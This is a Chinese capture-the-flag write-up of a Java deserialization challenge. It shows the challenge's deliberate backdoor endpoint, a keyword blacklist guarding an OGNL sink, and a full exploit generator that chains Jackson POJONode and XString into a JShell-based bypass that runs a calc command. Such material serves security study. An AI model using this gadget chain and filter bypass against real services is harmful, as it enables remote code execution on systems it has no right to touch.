上周湖南省程序设计大赛(网路攻防赛道)的一道题。反序列化的考点主要是就是jackson原生链以及ognl表达式注入。
pom.xml:
反序列化入口:
@Controller
public class Backdoor {
@ResponseBody
@RequestMapping(value={"/bbbbbackd00r"})
public String backdoor(String data) throws IOException, ClassNotFoundException {
if (data == null) {
return "backdoor here";
}
byte[] decode = Base64.getDecoder().decode(data);
ByteArrayInputStream bis = new ByteArrayInputStream(decode);
ObjectInputStream ois = new ObjectInputStream(bis);
Object object = ois.readObject();
return object.toString();
}
}
带有getter的类:
public class User
implements Serializable {
private String name;
private String desc;
public User(String name, String desc) {
this.name = name;
this.desc = desc;
}
public Boolean filter() {
// String[] BlackList = new String[] {"$"};
String[] BlackList = new String[]{"\"", "'", "\\", "invoke", "getclass", "$", "{", "}", "runtime", "java", "script", "process", "start", "flag", "exec", "req", "new", "engine"};
String str = this.desc.toLowerCase();
for (String keyword : BlackList) {
if (!str.contains(keyword)) continue;
return true;
}
return false;
}
public String toString() {
return "User{name='" + this.name + "', desc='" + this.desc + "'}";
}
public String getResult() {
try {
if (!this.filter().booleanValue()) {
OgnlContext ognlContext = new OgnlContext();
return Ognl.getValue((String)this.desc, (Object)ognlContext).toString();
}
return "hacker!";
}
catch (OgnlException var2) {
System.out.println(var2);
return "fail";
}
}
}
反序列化链
看到这个getter也猜到了是原生链,讲原生链的文章有很多,可以从各种toString来触发。这里就只贴一种的。链子也是学习自其他师傅。链接贴在文末了。
大致的调用链是
HashMap#putVal()-->AbstractMap#equal()-->Xstring#equal
这里HashMap加入值的时候会计算其hash是否相等,如果hash相等就会比较键和值
if (p.hash == hash &&
((k = p.key) == key || (key != null && key.equals(k))))
如果我们构造的key是hashmap,而hashmap中没有equal方法,所有会去abstractmap中调用,而其中的equal会获取其中的键值来操作,从而调用值自己的equal方法同时将键作为参数传入,于是我们将这个键和值分别构造为POJONode和Xstring就可以调用到arraynode的toString了。
//AbstractMap#equal
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map<?, ?> m))
return false;
if (m.size() != size())
return false;
try {
for (Entry<K, V> e : entrySet()) {
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key) == null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
//Xstring#equal
public boolean equals(Object obj2)
{
if (null == obj2)
return false;
// In order to handle the 'all' semantics of
// nodeset comparisons, we always call the // nodeset function. else if (obj2 instanceof XNodeSet)
return obj2.equals(this);
else if(obj2 instanceof XNumber)
return obj2.equals(this);
else
return str().equals(obj2.toString());
}
ognl表达式注入绕过
然后就是ognl表达式注入了。上网搜了一下当前版本并没有加黑名单检测,所以只需要绕过出题人写的过滤即可。
String[] BlackList = new String[]{"\"", "'", "\\", "invoke", "getclass", "$", "{", "}", "runtime", "java", "script", "process", "start", "flag", "exec", "req", "new", "engine"};
几乎所有的现成的poc都是打不通的,但是考虑到这里时jdk17肯定有猫腻,然后在网上翻翻找找,找到了一个jdk.jshell的包,当时脑抽忘记加@符号,以为不行,走了不少弯路。这里使用create函数和builder函数效果应该是差不多的。
@jdk.jshell.JShell@create().eval()
于是就有了任意代码执行了(没有过滤的情况下)剩下这部分就是jall了。虽然想到jail常用的方法是字符串拼接,但是当时不太熟悉,导致也是试了很久。
后面在测试的时候发现ognl其实是可以一次执行多个表达式的,虽然之前也看到过多个表达式的payload,但是也没想到在前一个表达式的函数中是可以执行表达式的。不过也只能体现我太菜了,这ognl表达式后面还得再深入学习下才行。
完整表达式如下:
@jdk.jshell.JShell@create().eval(@Character@toString(82) + @Character@toString(117) + @Character@toString(110) + @Character@toString(116) + @Character@toString(105) + @Character@toString(109) + @Character@toString(101) + @Character@toString(46)+@Character@toString(103) + @Character@toString(101) + @Character@toString(116) + @Character@toString(82) + @Character@toString(117) + @Character@toString(110) + @Character@toString(116) + @Character@toString(105) + @Character@toString(109) + @Character@toString(101) + @Character@toString(40)+@Character@toString(41) + @Character@toString(46) +@Character@toString(101) + @Character@toString(120) + @Character@toString(101) + @Character@toString(99) + @Character@toString(40) + @Character@toString(34) + @Character@toString(99) + @Character@toString(97) + @Character@toString(108) + @Character@toString(99) + @Character@toString(34) + @Character@toString(41))
完整exp如下
public class jackson {
public static void main(String args[]) throws Exception{
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
User user =new User("ctf","@jdk.jshell.JShell@create().eval(@Character@toString(82) + @Character@toString(117) + @Character@toString(110) + @Character@toString(116) + @Character@toString(105) + @Character@toString(109) + @Character@toString(101) + @Character@toString(46)+@Character@toString(103) + @Character@toString(101) + @Character@toString(116) + @Character@toString(82) + @Character@toString(117) + @Character@toString(110) + @Character@toString(116) + @Character@toString(105) + @Character@toString(109) + @Character@toString(101) + @Character@toString(40)+@Character@toString(41) + @Character@toString(46) +@Character@toString(101) + @Character@toString(120) + @Character@toString(101) + @Character@toString(99) + @Character@toString(40) + @Character@toString(34) + @Character@toString(99) + @Character@toString(97) + @Character@toString(108) + @Character@toString(99) + @Character@toString(34) + @Character@toString(41))");
ObjectMapper objmapper = new ObjectMapper();
ArrayNode arrayNode =objmapper.createArrayNode();
arrayNode.addPOJO(user);
Object exp = getXstringMap(user);
base64Serialize(exp);
}
public static Object getXstringMap(Object obj) throws Exception
{;
POJONode node = new POJONode(obj);
XString xString = new XString("bypass");
HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
map1.put("yy", node);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", node);
Object o = makeMap(map1, map2);
return o;
}
public static HashMap makeMap(Object v1, Object v2) throws Exception
{
HashMap s = new HashMap();
setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
{
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static String base64Serialize(Object obj) throws Exception
{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(obj);
String payload = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(payload);
return payload;
}
}
参考链接
Javolution 出题小记 | H4cking to the Gate .
http://www.mi1k7ea.com/2020/03/16/OGNL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/#OGNL%E7%AE%80%E4%BB%8B
常用java代码(trick)备忘录